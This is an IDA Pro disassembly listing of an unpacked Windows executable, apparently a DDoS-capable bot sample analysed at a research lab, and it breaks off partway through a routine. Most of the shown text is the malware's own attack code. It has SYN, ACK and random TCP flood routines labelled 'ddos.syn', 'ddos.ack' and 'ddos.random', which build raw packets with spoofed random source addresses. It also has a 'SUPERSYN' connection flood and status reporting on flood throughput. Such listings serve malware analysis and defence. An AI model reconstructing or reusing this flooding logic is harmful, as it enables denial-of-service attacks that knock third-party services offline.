; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 903ECF0AA3A953FE660CE32D9AE37A84 ; File Name : u:\work\903ecf0aa3a953fe660ce32d9ae37a84_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000D0000 ( 851968.) ; Section size in file : 000D0000 ( 851968.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A15o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 nop call near ptr 26308B3h push eax call sub_417302 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417078 pop ecx pop ecx push esi call near ptr 26302E2h nop pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43AD98 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43AD98 mov [ebp+var_12], ax call sub_41730C movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_14], ax call dword_43AD94 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43AD98 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2630B98h lea eax, [ebp+var_1C] push eax nop call near ptr 263093Eh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_14], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 263093Eh nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43AE30 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43ACF8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C03o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43AD2C push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172B0 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 26302E2h loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43AD2C push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi call near ptr 26302E2h nop loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172B0 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 26302E2h loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43ADD8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_436AB8, 45h call dword_43AD98 cmp [ebp+var_2C], edi mov word_436ABA, ax mov word_436ABC, bx mov word_436ABE, di mov byte_436AC0, 80h mov byte_436AC1, bl mov word_436AC2, di jz short loc_401687 call sub_41730C mov ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax push 1 mov dword_436AC4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov dword_436AC4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_436AC8, eax call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACC, dl call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACD, dl call sub_41730C cdq mov ecx, 0F0h push 400h idiv ecx mov word_436ACE, di mov word_436AD2, bx inc edx mov word_436AD0, dx call sub_41730C cdq mov ecx, 0FFh idiv ecx push edx push offset dword_436AD4 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_436AB8 push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 26302E2h loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 26302E2h sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 26302E2h nop pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43AD98 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 call near ptr 71AB3C22h nop cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_401954 push 64h nop call near ptr 2630F90h lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3906o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 26302E2h pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43AD98 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43AD98 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43AD98 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2630B98h lea eax, [ebp+var_8] push eax nop call near ptr 263093Eh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_34], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 263093Eh nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43AE30 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43ACF8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, 